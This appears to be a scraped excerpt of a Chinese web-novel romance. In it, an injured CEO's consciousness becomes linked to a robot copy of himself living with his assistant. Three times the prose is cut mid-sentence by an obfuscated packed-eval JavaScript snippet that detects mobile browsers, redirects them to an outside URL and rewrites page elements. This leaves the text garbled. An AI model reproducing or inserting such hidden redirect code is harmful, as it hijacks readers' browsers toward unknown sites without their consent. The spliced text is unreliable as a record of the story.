“车祸?”江闻彻一下子被惊醒,所有困意顿时消失一干二净,“什么情况,意外,还是有人陷害?” 谭啸摇头,“具体情况还在调查,消息已经封锁,裴总不知什么时候能醒,这边需要你顶一段时间。” 时间紧急,两人没有过多交流,匆匆挂掉电话。 谭啸开始处理车祸后续事情,江闻彻迎着夜色急忙赶往机场。 经过16个小时长途飞行,江闻彻在傍晚七点到达港城,连续几天没有休息让他的太阳穴和心脏都怦怦直跳,他也顾不上倒时差,匆忙赶往医院。 “过了危险期了吗?”江闻彻喉咙发紧,声音带着丝丝颤抖。 心电监护仪和呼吸机“滴,滴——”的声音在空荡的病房内回荡。 裴予衡双目紧闭,面颊毫无血色,全身插满管子,毫无声息地躺在病床上。 “过了今晚没事的话,就可以转去普通病房了。”谭啸捏了捏眉心,又看向旁边疲惫不堪的江闻彻,“江总,您先去休息吧,后面还有很多事情需要您处理。” 江闻彻点头,“行,我先眯一会,有事喊我。” 他转身走出病房,突然,又像是想到什么,问道:“除了裴总,还有其他人受伤吗?” 谭啸:“有,裴总新的私人助理,叫林静知。” “等会你把她的详细资料给我发一份。” “好的,江总。” 谭啸速度很快,没一会就把林静知所有入职资料发送过来。 江闻彻手点屏幕,随意翻看着,直到最后一页,一张笑容灿烂的证件照跃然纸上,他蓦然停住。 竟然是她! 江闻彻眉毛微挑,悲伤竟也被冲淡几分,他哼笑:“裴予衡啊裴予衡,这下你可怎么办呢。” —— 一星期后,VIP病房。 裴予衡靠在床头静静听着谭啸汇报这几天发生的事情。 江闻彻懒散地躺在旁边的沙发上,嘴里还叼着一个剥了一半的橘子。 吃到一半,他猛地坐起来,将橘子扔到桌上,盯着裴予衡的脸沉思起来。 裴予衡皱眉:“再用这种恶心的眼神看我,我不介意替你换个新的。” 江闻彻像是没听到裴予衡的警告似的,单手摩挲着下巴继续盯他,一会满意点点头,一会又疯狂摇头,然后倒在沙发上大笑起来。 “谭啸,给他挂个精神科。” “别啊,”江闻彻从沙发上爬起来,散漫地走到病床边,“我只不过是发现了一个不得了的事情罢了。” 后脑勺传来阵阵疼痛,裴予衡白了他一眼,不想搭理他。 他看向谭啸,问道:“林静知现在什么情况?” “林助理受伤比您轻,再观察几天没问题就可以出院了。” 裴予衡“嗯”了声,眼帘垂落,沉沉阖上眼。突然,又像是想到什么,他睫毛微颤,眼皮轻抬,“去掉那些复杂流程,尽快对她进行赔偿。” 谭啸点头应好,心里却充满疑问。知寰科技对于这种赔偿都是有相应流程,从来没有越过固有流程直接赔偿的例子。 但是,既然老板发话,他这个打工人执行就是。 谭啸离开后,江闻彻又将这几天和那群老狐狸斗智斗勇的事情绘声绘色描述一遍。 并且放下狠话,接下来要连休一个月假。 裴予衡没接他的话,他眉头微皱,沉思好一会,才踌躇开口:“江闻彻,我好像遇到一件无法解释的事情。” 江闻彻顿时起了好奇心,他认识裴予衡这么长时间,还没见过他露出这种不自信的表情。 他一向是镇定,遇到天大的事情也处变不惊的。 “什么事情?”江闻彻问。 裴予衡把之前发生的事情在脑海里又过了一遍,尽量用江闻彻能理解的语言来描述。 “你之前用我的身体数据一比一复刻过一个机器人,那个机器人现在在林静知家中。” 江闻彻:“你回国的时候,我一并把机器人运回来,放到知寰科技的仓库里了。” 裴予衡摇头:“这不是重点,重点是我的意识好像和机器人连在一起了。” 什么鬼? 江闻彻脑子有些宕机,他眯着眼睛思考裴予衡刚才的话。 良久,他终于得出结论,他双手一拍,合计道:“看来车祸真的把你的脑袋撞坏了,我去给你叫医生。” “回来。” 裴予衡叫住就要往外冲的江闻彻,有些头疼,这件确实听起来有些天方夜谈,要不是亲身经历,他也不会信。 “你真开我玩笑?”江闻彻还是保持怀疑。 “你看我像是开玩笑的人?” 裴予衡神色认真,江闻彻也收起了他的嬉皮笑脸。 他拉了把椅子坐在裴予衡面前,正襟危坐,“你具体说说。” 裴予衡想了想,把车祸醒来后看到、感知到的一切和盘托出。 江闻彻:“我怎么嗅到一丝不一样的情况,就好像有一个曲折离奇的爱情故事马上要在我的面前拉开序幕。” 裴予衡瞥了他一眼,“我不清楚意识会不会再一次和机器人连接,这东西是你造出来的,尽快弄清楚解决掉。” 江闻彻左手撑着下巴,右手不停在椅背上敲击,反驳道:“神医治病也得见到病人,你最起码得让我先见到那机器人吧。” “所以说,还得请我们的裴总将林助理,留下来,安顿好。别等我没见到机器人,她就被你气辞职了。” 裴予衡嗤笑一声,没理会他的狗语,疲惫地阖上双眼。 —— 林静知平躺在床上,双手搭在胸前,眼睛直勾勾盯着洁白光滑的天花板,一动不动。 她已经维持这个姿势一个小时了。 画面拉回一小时前。 林静知按照医生的嘱咐,下床进行简单活动,还没来得及走两步,就看见谭啸抱着一个牛皮纸袋轻轻敲了下病房门。 “谭助?”林静知疑惑,“是裴总有什么事情要找我吗?” 谭啸点头,将手中的文件递给林静知。 “按照知寰对员工出事的赔付流程,正常情况下是需要你出院以后走系统进行申报的。但是这次意外是因为和裴总出差,所以裴总这边进行 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17345205|199516||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 特许,由我替你发起申请。你手里是关于这次赔付的所有文件,你看下要是没有问题就把字签了,等周一上班财务就会把款打到你的账户上。” 林静知将牛皮纸袋拆开,拿出文件慢慢翻着,谭啸也不催她,只是退后几步,站在桌子旁静静等待。 一时间,空荡的病房内只剩下纸张翻页的沙沙声。 等林静知翻到最后一页,谭啸递过来一只碳素签字笔,林静知接过,道了声谢,刷刷签下她的名字。 文件一式两份,林静知将其中一份连同签字笔递给谭啸,苍白瘦削的脸上扬起一抹笑容,“替我谢谢裴总。” “林助理好好养伤。”留下一句象征性的关心,谭啸便匆匆离开。看着他逐渐远离的背影,林静知仿佛在他身上看到机器人的身影。 永远循规蹈矩,永远不知疲惫。 “咚咚咚——” 敲门声将林静知的思绪拉回,她刚抬眸,就看见站在门口,怀中抱着一束百合,一脸怒气的许晨星和温柔笑着的蒋迟砚。 “星星,你们来了。” “好你个林静知,”许晨星大步走进来,将怀中的花重重搁在床头柜上,“出了这么大的事情现在才告诉我们,有没有把我们当成最好朋友。” 说着说着,又哭了起来,“你知不知道,前几天我联系不上你的时候觉得天都要塌了,我生怕你出了什么事。我和蒋迟砚去了你的公司,他们说你和老板出差了。我不信,差点要闹起来,后来是一个叫谭啸的告诉我们是你出了车祸。” 她用力戳了戳林静知的脸蛋,“林静知,如果不是谭啸说出来,你是不是打算瞒我们一辈子。” 林静知莫名心虚,许晨星却确实猜的没错。她是真的打算等出院后找个借口解释自己这几天为什么联系不上,既然已经没事,就不想让许晨星白担这个心。 她赶紧转移话题,“我这不是没事了吗,不仅没事,还获得一笔不菲的赔偿。”林静知朝两人比划了一个数字。 “这么多?”许晨星瞪大眼睛,“你们公司能内推吗,我也想进去出车祸……” 话刚说一半,许晨星就感觉背后传来连续三次轻轻的击打,她怒气冲冲回头,就看见蒋迟砚站在她的身后眉眼带笑。 “蒋迟砚,你打我干什么?” 蒋迟砚用手捂住嘴巴,轻咳几声,“星星,要避谶啊。” 许晨星是个不折不扣的小迷信,听到蒋迟砚的话,她瞬间反应过来,赶紧呸呸两下,又捂住自己的嘴,“青天大老爷,你什么都没听到,就算听到了也没关系,把我当个屁放了就成。” 林静知被她这无厘头的动作逗得哈哈大笑,刚一使劲,车祸造成的伤口瞬间疼了起来,她眉头紧皱,身体控制不住往下倾倒。 “知知,你没事吧?”许晨星被这场景吓了一跳,还没反应过来,就看见蒋迟砚一个箭步冲了过去。 他接住了林静知。 “我没事,只是不小心扯到伤口,”林静知摆摆手,语气有些虚弱,“蒋迟砚,让星星扶我就可以,你身体不好,不要剧烈运动。” “对对对,知知说的没错。”许晨星动作很是迅速,她从蒋迟砚的手里接过林静知,扶着她的胳膊,把她送回病床。 掌心的温度骤然消逝,蒋迟砚睫毛低垂,盯着自己没有一点血色的手掌,又抬眸凝视笑的温柔林静知。 他第一次怨恨为何老天如此对他。 让他拥有一个没有未来的身体。 5. 他克我 带薪休假半个月后,林静知终于出院。 许晨星发挥她的一贯作风,开着自己的粉色大G,热热闹闹,轰轰烈烈地把林静知接回了家。 刚把车停在地下车库,许晨星就开始忍不住激动起来,她搓搓自己的双手,笑得阴渗渗,“上次突然有事没来得及瞻仰你的机器人,这下我得好好欣赏欣赏。” 林静知忍不住打了下哆嗦,赶紧离她两步远,“星星,你笑得很是猥琐,我有点害怕。” “NO,你不懂,”许晨星自信地伸出食指,轻轻晃动,“我这不是猥琐,我这叫拥有一双欣赏美的眼睛。” 两个人笑笑闹闹朝着出租房走去,一个月没回来,不太大的客厅除了多出几个巨大的快递箱,没有一丝变化。 林静知突然感觉自己竟有些近乡情怯。 她从包里掏出钥匙,正准备开门,“吱呀——”一声,陈旧的门从里面打开,夕阳从窗户倾泻进来,落到‘裴予衡’精致的侧脸,忽明忽暗间,他扬起笑脸,递上一束用毛巾折成的花,“主人,欢迎回家。” 林静知被‘裴予衡’的动作惊到,她一瞬间愣在原地,没有伸手接花。 “主人,你不喜欢吗?”‘裴予衡’轻轻蹲下,视线与她平齐,“我的程序告诉我,欢迎长时间未回家的主人需要一束鲜花,可我没有钱,也出不去,只能用这个代替。” 他声音磁性低沉,细细听来竟还带着些委屈,“主人,你不接我的花,是我擅作主张了吗?” “没有,没有,我很喜欢。”林静知赶紧将花抱在怀里,又回头招呼许晨星进门。 刚一回头,就看到许晨星眼睛猛地睁大,嘴巴大张,“这机器人这么智能的吗?” 林静知肯定点点头,“感情是有点充沛了。” “你好,主人的朋友,欢迎您的到来。”‘裴予衡’转头,将目光对准许晨星,做出一个诚挚的邀请手势。 许晨星:“突然有种很荣幸的感觉是怎么回事?” 林静知率先走进去,把包挂在衣柜上,端起桌面上‘裴予衡’准备好的温水,轻抿一口。 “星星,在门口傻站着干什么,进来啊。” “来啦!” 许晨星依旧站在门口没动,她双手环抱胸前,上下打量着‘裴予衡’,有些好奇问道:“知知,我太好奇了,我能上手摸摸他吗?” 两人是亲密无间朋友,平时同吃一碗饭,同喝一杯奶茶,甚至随意穿对方的衣服也无需过问。 但不知为什么,面对这个由自己送给好朋友的生日礼物,许晨星竟莫名生了点心虚感,第一次开口询问林静知。 “不好意思,您不可以摸我,”林静知还未开口,‘裴予衡’便抢先回答,“我是主人的专属机器人,但是您有需要我可以为您服务。” “好的,谢谢,谢谢。”许晨星尴尬笑笑,她越过‘裴予衡’走到林静知旁边,在她耳边低语,“你说的没错,感情确实很充沛,搞得我也想买一个回去伺候我了。” ‘裴予衡’将另一杯温水放到许晨星面前,转身走出房间。 “他去干什么啊?”许晨星好奇。 林静知抬起腕表看眼时间,“应该是我买的菜到了,他去厨房做饭了。” “好贤惠啊,”许晨星一脸羡慕,突然,她像是想起什么,问道:“你刚才没说你买菜了啊,他怎么知道?” “我把我的通话信息授权给了他,这样比较方便。” 听到林静知的话,许晨星一脸悲痛,她装模作样捂着胸口,“宝,别说了,我羡慕的眼睛都要红了,下单,立马下单,势必也整个帅的来伺候姐,顺便支持一下你的事业。” “已经不是我的事业了,”林静知叹口气,仰躺在床上,“一个月前,我被调任为裴予衡私人助理,彻底远离知寰核心业务。” “这么大的事情你怎么不和我说?”许晨星在她旁边躺下,像很久以前寝室夜话一样,彼此诉说各自心事。 林静知把枕头分她一半,自嘲一笑,“怕你担心,现在又遇上车祸,衬得我这个调岗都变成微不足道的小事了。” “知知,快别说了,”许晨星将压在两人头下的枕头使劲抽出,用力盖在脸上,“我们俩最近好像有点倒霉过头了,要不明天去寺庙拜拜,听说法喜寺可灵了。” 法喜寺是坐落在北城西郊的一座千年古寺,庄严巍峨,每日求签的香客络绎不绝,香火很是鼎盛。 林静知从床上扑通一下坐起来,神色间充斥着满满的愤怒和怨气。 “我觉得这已经不是求神拜佛的事情了,是这个男人克我!” 说着说着,又把许晨星也从床上拉起来,细细数落这段时间发生的倒霉事,“我好不容易就要转正了,结果直接把我调去当他的私人助理,不同意就赔偿滚蛋。” “好,当助理没问题,挑剔毒舌也没问题,为了赚钱,可以忍受。但是,第一次出差就遭遇车祸,还差性命不保,这已经不是概率问题了,明显我和他的八字不合!” 一连串的吐槽让林静知口干舌燥,她从来没有这样情绪激动的时候。 从小到大,她都被称赞为别人家的孩子,是一个不折不扣的淑女,每次听到这样的夸赞,她的爸爸都会慈爱地摸摸她的头,一脸骄傲。 可一回到家,一扇破旧的门隔绝外面世界后,那个慈祥的爸爸瞬间就会变了脸色。他总是拿着鸡毛掸子,无比威严地坐在沙发上,对她进行教育。 “女孩子要有女孩子的模样,要温柔贤惠,要记住是你妈妈不要你,世界上只有爸爸一个人对你好,你要争气,将来读好的大学,嫁个好男人,好好孝敬爸爸。” 小小的林静知无法反抗,只能默默压制自己的天性,扮演一个让所有人都满意的乖乖淑女、好学生。 只有这样,她才能逃过教训,才能好好长大。 赚钱。 然后见到妈妈。 “没错!”许晨星立刻接住她的话,“反正你不是一直在备考嘛,这次又获得一笔不菲的赔 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17345206|199516||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 偿,干脆直接辞职。” “辞职?”林静知眼睛亮了起来,好像一下子被点通了任督二脉,“对哦,这笔钱完全可以负担我研究生的全部花销。” 许晨星很是赞同,“也可以让你搬离这个垃圾租房,周边环境这么差,你每次晚上加班回去的时候我都担心死了。” 她又说:“最好是搬过去和我住,平时你学习我还能照顾你。” 许晨星沉浸在自己马上就可以和好朋友住在一起的高兴氛围中,丝毫没有注意到她的身后已经悄无声息站了一个‘人’。 “您是要带主人离开这里吗?” 背后忽然传出的询问声让许晨星吓了一跳,她赶紧回头,只见‘裴予衡’端着一碗热气腾腾的玉米排骨汤站在她的身后。 他的脸上带着和煦温柔的笑容,手上的热汤端的也很稳,可许晨星莫名有一种错觉,只要她说一声“是”那碗被他好好捧在手里的汤马上就能一不小心飞到她的身上。 于是,她马上改口:“我不是要带她离开。只是,你看你主人刚动完手术,这里环境这么差,没办法好好养伤的。” “是吗?”他低垂眉眼,语气中有说不尽的失落,“主人,那你还要我吗?” “当然要。”林静知语气坚定。 “真的吗?”‘裴予衡’忽地抬眸,漆黑的瞳孔变得亮晶晶,眼神中充满期待。 “嗯嗯嗯,”林静知再一次肯定,“毕竟你还是很贵的。” 得到主人不会抛弃自己的肯定,‘裴予衡’很高兴地把盛好的汤放在桌子上,然后继续去厨房端其他的菜。 等卧室门彻底关上,许晨星赶紧拍拍胸脯,沉沉吐出一口气。 她把自己摔在床中央,叭叭开始告状,“知知,刚才真的要吓死我了,有一瞬间我真的感觉那一碗汤能浇到我头上。可恶,机器人没有机德。” “应该不会出现这样的情况啊,”林静知在她身旁坐下,“每个机器人的底层代码都是不允许伤害人类。”又拍了拍她的背继续安慰,“你别怕,等吃完饭我检查一下是不是程序出现错误。” 两人交谈间隙,‘裴予衡’已经把所有菜端上桌,简单四菜一汤,很清淡,但看上去很有食欲。 将筷子先递给林静知,还没等‘裴予衡’将另外一双筷子递给许晨星,许晨星已经抢先一步将筷子握在手里。 她脸上露出无比和善的微笑,“呵呵,不劳您费心,我自己来,我自己来。” 她飞速夹了一块肉放在嘴里,边吃边恭维道:“嗯嗯,手艺真不错,知知肯定离不开你。” ‘裴予衡’:“谢谢夸奖,祝您用餐愉快。” 说完,他迈着轻快步伐,走到林静知的床头,将凌乱的床铺整理干净,随即默默移动到床尾,站在那儿,不再说话。 机器人终于停止活动,裴予衡透过他的眼睛注视放在桌面上的白色时钟,心里计算着时间。 指针指向晚间八点。 他已经来了两个小时了。 6. 你让我穿这种衣服 知寰科技加班严重,许晨星的工作又经常昼夜颠倒,自从毕业后,两人同床夜话的机会更是少之又少。这次好不容易见面,许晨星立即推掉今晚的约会,势必和好姐妹通宵一个晚上。 半小时后,两人吃完饭,‘裴予衡’自觉端上早已切好的水果,把碗筷收拾干净,回到厨房开始刷碗。 许晨星仰躺在椅子上,摸着肚子,一脸满足。 忽然,她像是想起什么,赶紧起身,快速走到窗户边,用力将窗帘全部拉上。 “星星,你拉上窗帘干什么?”林静知好奇。 她租的房子虽然是老小区,但因为坐落在郊区,天气晴朗的晚上透过窗户能观赏到很多星星。 每次深夜加班回来,林静知将窗帘拉开,躺在床上,关上灯,享受一下独属于她的时光,今晚的天气就很好,她还想带许晨星体会一下她的快乐呢。 “我有样好东西给你看。”许晨星将林静知拉到床前,神秘兮兮地从自己的包里掏出一件叠得整整齐齐的红黑交错的蕾丝衣服放到林静知手上。 林静知:“……” 她就知道。 一旦许晨星这个女人露出这样的表情准没好事。 见林静知沉默不语,许晨星把头倚在林静知肩膀,开始撒娇,“知知,你就支持一下我的事业嘛,替我品鉴一下这套衣服。” 林静知:“……” 依旧不为所动。 许晨星继续撒娇,“这套衣服的设计花了我好几个星期呢,我寄给好多人试穿,但是我最相信你的评价,只要你点头说好,我立马开始打版。” 林静知最受不了的就是许晨星的央求,她伸手提溜起这件没几块布料的衣服,说道:“怎么突然想做这个呢?” “其实我是打算一直瞒着你的,”许晨星泄气似的坐在床边,“前段时间,我签的那个MCN老板组织了一个饭局,在吃饭的时候有一个丑人想要对我动手动脚,我拿酒瓶把他头打出血,然后回去就和MCN解约了,需要赔不少钱。” 林静知搂住她的肩膀,生气又心疼,“为什么不和我说?既然缺钱又干嘛定这么贵的机器人?” “那个是早就预定好的,不影响。况且一次开出稀有版,上得厅堂下得厨房,你不许退。” 见林静知提到机器人,许晨星的难过立刻消失得无影无踪,只是一劲夸赞自己眼光好,夸到一半又想到自己还在伤感中,又将头埋在林静知怀中。 林静知又问:“你需要赔偿多少?” 许晨星瞬间明白她的意思,“我不要你拿你的赔偿给我,况且,我打算和狗公司斗到底,我没打算放弃我的自媒体,只是这个收入不稳定,我想发展一下其他副业。” 林静知瞥了她一眼,“你的副业就是卖情.趣.内.衣。” “这多好啊,”许晨星拿起衣服放在林静知面前比划,“饮食男女,食色性也,多好的创业思路,况且我这个走的是高端路线,很不一样的。” 许晨星脑子很灵活,她总有很多想法,林静知从来拧不过她,就算这一次说过了,下一次也会被她的歪理带偏,久而久之,林静知也不和她争论了。 许晨星要说什么就说什么吧,要干什么就干什么吧。 自己努力给她兜底。 想到这里,林静知无奈叹口气,“拿过来吧,我给你试一试。” 许晨星吧嗒亲一口林静知的脸蛋,“我就知道我的知知对我最好了。” 屋内暖气打得很足,林静知站在镜子前,脸红的要滴血,长这么大,这是她第一次穿这样的衣服。 透视的黑色蕾.丝,三根细细的红色带子缠绕在林静知白皙修长的脖颈,饱满的胸.脯呼之欲出,后背半.裸.露着,优美的肩颈线在薄纱下若隐若现,红色蕾丝高筒袜紧紧裹住纤细的小腿,魅惑又纯.欲。 “星星,我能不能脱下来?”林静知声音有些颤抖,镜中的她太过于陌生,陌生到连自己都不好意思看。 许晨星没有回应。 见许晨星不理她,林静知转过身,只见刚才沉默不语的许晨星此时一脸呆愣地站在原地,鼻血顺着人中蔓延到了嘴角。 “星星,”林静知快速抽出几张纸巾,着急地递到许晨星手里,“赶紧擦擦,怎么流鼻血了?” 一向大大咧咧,说话从没把门的许晨星这次竟破天荒卡住了。 她把卫生纸团团塞进鼻腔,围着林静知转个不停,忍不住发出“啧啧啧”的惊叹声。 林静知快要被她转晕,她拉住许晨星的手,将她固定住。 “我觉得挺好的,预祝你创业成功,我要把它脱了。” “别啊,”许晨星制止她的动作,趁机又摸了两下,“让我再欣赏欣赏,这么好的机会,下一次就不一定有了。” 林静知笑着拍掉她的手,“你好像变态,我要报警。” 许晨星撇嘴,“就是不知道以后便宜哪个……” 她话音还未落,沉重的“吱呀——”声从身后传来,门后骤然传来一阵清冷磁性的声音。 “主人……” 林静知心中猛然一惊,随即开始剧烈震动,她慌忙向外望去,只见‘裴予衡’正抱着林静知的衣服乖巧地站在门口。 他漆黑的双眸静静与她对视,明明一切都没变化,可林静知则总有一种错觉,眼前的‘裴予衡’和刚刚不一样了。 像是要把一切吸引进他的眼睛。 “转过去。”语速急切,语气慌乱,只是简单的三个字,林静知感觉自己仿佛用尽所有力气。 她也不知自己在干什么,只是潜意识觉得不能让‘裴予衡’看到眼前一切。 “好的,主人。”‘裴予衡’很听话,听见林静知的指令,平静地乖乖转身。 可是,平静的是‘裴予衡’,而不是处在机器人身体中的裴予衡。 裴予衡觉得自己快要疯了,他双眸紧闭,试图将刚才看的景色从脑海中清除出去。 可越是强迫自己,记忆就越清晰。 眼前女孩穿着艳丽的服装,白皙面颊上覆上一层红晕,清澈双眸中像是蓄满一汪春日湖水,清澈见底,波光潋滟。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17345207|199516||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他没想到会碰到这样的光景,让他第一次不知道如何办才好。 “知知,你让它转过去干什么,我还想让它评价评价几句呢。” 林静知没理许晨星,她用最快速度将身上衣服褪去,换上睡衣,然后滚进被窝中。 等温暖被窝将她包裹住后,林静知才底气满满开口:“许晨星,你看你干的好事。” 许晨星被林静知的动作逗得笑个不停,她双手叉腰,“知知,你刚才好像一只偷到食物匆忙逃跑的松鼠。而且,这只是一个机器人,又没有人的情感,你害羞什么啊?” 林静知也不知道自己在害羞什么,刚刚对视上‘裴予衡’眼睛的时候,她似乎觉得那不是没有感情的机器人,而是真的裴予衡。 是真的裴予衡在看她。 但是,她不能说,毕竟这个想法实在有点匪夷所思。 人怎么会在机器人的身体里呢。 一定是她被裴予衡迫害出幻觉了,她就知道,这个男人克她。 电光火石间,林静知又在心中加重了辞职的想法。 “我没在害羞啊,”林静知胡乱解释,“是这暖气不行,我太冷了,我受伤才好,医生说不能被冻着。” 许晨星:“……” 好苍白的借口。 林静知已经把衣服脱下,许晨星也不能再强迫她做什么,只能遗憾地拿着林静知早已给她准备好的洗漱用品去了浴室。 “咔哒——”关门声响起,屋内短暂恢复寂静,一人一机在此刻陷入了无尽沉默。 过了好一会,那机好像受不了这样的氛围,终于开口。 “主人,”他的声音充满委屈,“你是不是嫌弃我了?” 林静知:“……” 这只机从哪里得出这样的结论,她什么时候要抛弃他,这么贵的机,抛弃什么都不能抛弃它啊。 “我没有嫌弃你啊。” “那你为什么让我转过去啊,主人的新衣服很漂亮,我很喜欢。” “那你转过来吧。” ‘裴予衡’转过身来,一双如墨的双眸直勾勾盯着林静知,林静知也对上他的眼睛,她想再一次确认刚刚在‘裴予衡’身上发生的是否是个错觉。 双目对视,这次什么都没有发生,没有害羞,没有悸动,更没有那种觉得见到裴予衡的错觉。 一切,安安静静,平平淡淡。 看来确实是自己的错觉,可为什么会有这样的错觉,林静只想不明白。 但是她也不是一个钻牛角尖的人,想不明白干脆就不想了。 反正她周一就要去提离职,之后,和裴予衡再无干系。 想到这里,她放松地笑起来,调侃道:“你知道什么是漂亮和喜欢吗?” ‘裴予衡’:“我知道的。我的程序告诉我,主人就是最漂亮的,我最喜欢的人就是主人。” 机器人身体里双目紧闭的裴予衡:“……” 好谄媚。 裴予衡现在只想关闭自己五感,他实在不想看,也不想听见自己的嘴里说出这么阿谀的话。 7. 小骗子 周一清晨。 急促闹铃声将睡梦中的林静知吵醒,她双眸紧闭,挣扎着在床头柜上摸到手机,轻车熟路地找到十分钟后再叫我的按钮,重重按下。 卧室内再一次恢复寂静,林静知心满意足又昏睡过去。 直到—— “主人,您要迟到了。”‘裴予衡’温柔又残忍的嗓音在她耳边响起。 “迟到?!” 打工人最听不得迟到两个字,林静知瞬间从瞌睡状态中惊醒,她慌忙捞起旁边手机看了眼,时间才刚过六点。 她的通勤时间为一个半小时,现在出发,不出意外的情况下,八点之前可以赶到裴予衡的家。 想到这,林静知以最快速度从床上爬起来冲进了卫生间。 “主人,早饭我已经准备好,洗漱完您记得吃早饭。” “来不及了,你帮我把电脑装进包里。” “好的。” 十五分钟后,画着淡妆的林静知和许晨星告别后,匆匆赶往地铁站。 虽说她要提辞职,但当一天和尚就要撞一天钟,她现在仍是裴予衡的私人助理,需要尽职尽责处理好他所有的生活事务。 地铁早高峰拥挤的不行,林静知凭借身高优势,找到一个角落,她将包护在胸前,背对着行人,掏出手机。 熟练打开一款专属软件,上面汇总了裴予衡所有的衣服和装饰。 为提高工作效率,林静知总会在选择衣服前先在软件上把一切搭配好。 搭配好衣服,林静知又再一次确认裴予衡一整天行程。 地铁飞速行驶,林静知依旧沉浸在工作中。终于,一个半小时后,地铁温柔的报幕声响起,林静知在附近下了车。 沿着人行道步行差不多十分钟,林静知到达裴予衡所住公寓门口。 先给裴予衡手机发送一条已经到达的消息,接着,她轻轻按下屋外的可视门铃。 不多时,屏幕内出现裴予衡的身影,他应该是刚洗完澡,白色浴袍松散围在身上,湿发凌乱耷拉在额前,轻轻遮住眉眼,神色看起来慵懒又疲惫。 “密码是135821,你自己进来。” “好的。”林静知应好,她输入密码,换上一次性拖鞋,进入房间。 “裴总,早。”林静知把包放在玄关处,走到裴予衡面前问好,“我现在给您搭配今天需要穿的衣服,八点半您吃完早餐可以上楼更换。” 说完,林静知礼貌朝裴予衡点点头,抬脚前往更衣室。 裴予衡:“你吃饭了吗?” “谢谢裴总关心,我已经吃完早餐。”裴予衡没头没脑的询问让林静知停下脚步,她抬眸看着裴予衡,眼神露出一丝不解。 怎么,这年头老板都要关心员工吃没吃早餐了? 还是说裴予衡对自己的早餐不满意,这句话是在提点她,现在要去厨房再做一份早餐给他。 于是,林静知礼貌询问:“裴总,是今天的早餐您不满意,需要我重新给您做一份吗?” 裴予衡瞥她一眼,嗤笑,“你又是从哪里得知我不满意今天早餐的。” 林静知:“……” 满意的话那你还问,真是男人心,海底针。 看着沉默不语的林静知,裴予衡无声勾了勾嘴角。 真是个骗子。 明明早上跑得比谁都快,做好的早餐放在桌子上一动没动,还偏偏说自己吃完了。 “林助理,我现在很不方便,还得麻烦您去厨房帮我把早餐端来。” 林静知嘴角上扬,露出标准八颗牙齿,语气很是恭敬:“好的裴总,您稍等。” 林静知转身前往厨房,在裴予衡看不见的角落里狠狠白他一眼。 上次走的匆忙,这还是林静知第一次看见厨房全貌,很经典的黑白配色,厨具不是很多,但摆放很有秩序,整个空间擦得一尘不染,很有裴予衡的风格。 黑色岛台上放着早已准备好的早餐,二人份,他的家中还住着其他人吗?林静知想。 她走过去,将其中一份早餐端起,看着手中早餐的种类,林静知面露疑惑。 这早餐怎么和‘裴予衡’做的一模一样,甚至连水果种类和摆放习惯都一丝不差。 要不是机器人现在还好好待在自己出租屋里,林静知简直怀疑是‘裴予衡’比她先一步到达这里做完了早餐。 “裴总,您的早餐,”林静知将早餐放到裴予衡面前,又问道:“厨房里还有一份,需要我把另一份也拿过来吗?” “嗯,那一份是你的。” “好的。” 嗯?不对,她的早餐? 林静知被裴予衡突如其来的话震惊到,她睁大双眸,有些茫然,自己刚才不是已经说吃过了嘛。 难不成,裴予衡年纪轻轻耳朵就已经不中用了? 虽然,她确实是没吃,但是没有一个人愿意和老板一起吃饭的好吧! 林静知微笑拒绝,“裴总,我已经吃完早餐了,不饿。” “不吃,扣一天工资。” 林静知条件反射立马反驳,“凭什么?”打工人的工资就是打工人的命。 扣人工资和谋财害命有何区别。 裴予衡:“凭我是你老板。” 林静知:“……”马上就不是了。 马上不是就代表现在依然是,林静知无法反抗,只能咬牙点头,随即从厨房里端来属于她的那份早餐。 裴予衡吃饭很安静,更没有看手机的习惯,林静知则喜欢在吃饭时刷一些低脂搞笑小视频缓解疲劳。 但是,现在人在屋檐下,不得不低头,于是,林静知第一次放下手机,专注吃完一次早饭。 裴予衡吃饭速度很快,没一会就将面前食物消灭干净。 他放下汤勺,抬眸看向面前沉默喝着牛奶的林静知,“我先去换衣服,你吃完放在那,等会有阿姨来收拾。” “好的。” 交代完事情后,裴予衡转身前往更衣室。穿好衣服后,他回到房间,将放在密码箱里的合同装进密封袋,然后下楼。 上午九点,林静知跟在裴予衡身后准时到达办公室。 将近一个月没回到总经办,林静知竟生出些许陌生感,她推开大门,上次只剩她一人的办公室,现在坐满了陌生的面孔。 “林助理,早上好。”一个留着短发的圆脸姑娘笑着和她打招呼。 林静知微笑回应:“早上好。” “林助理,真是 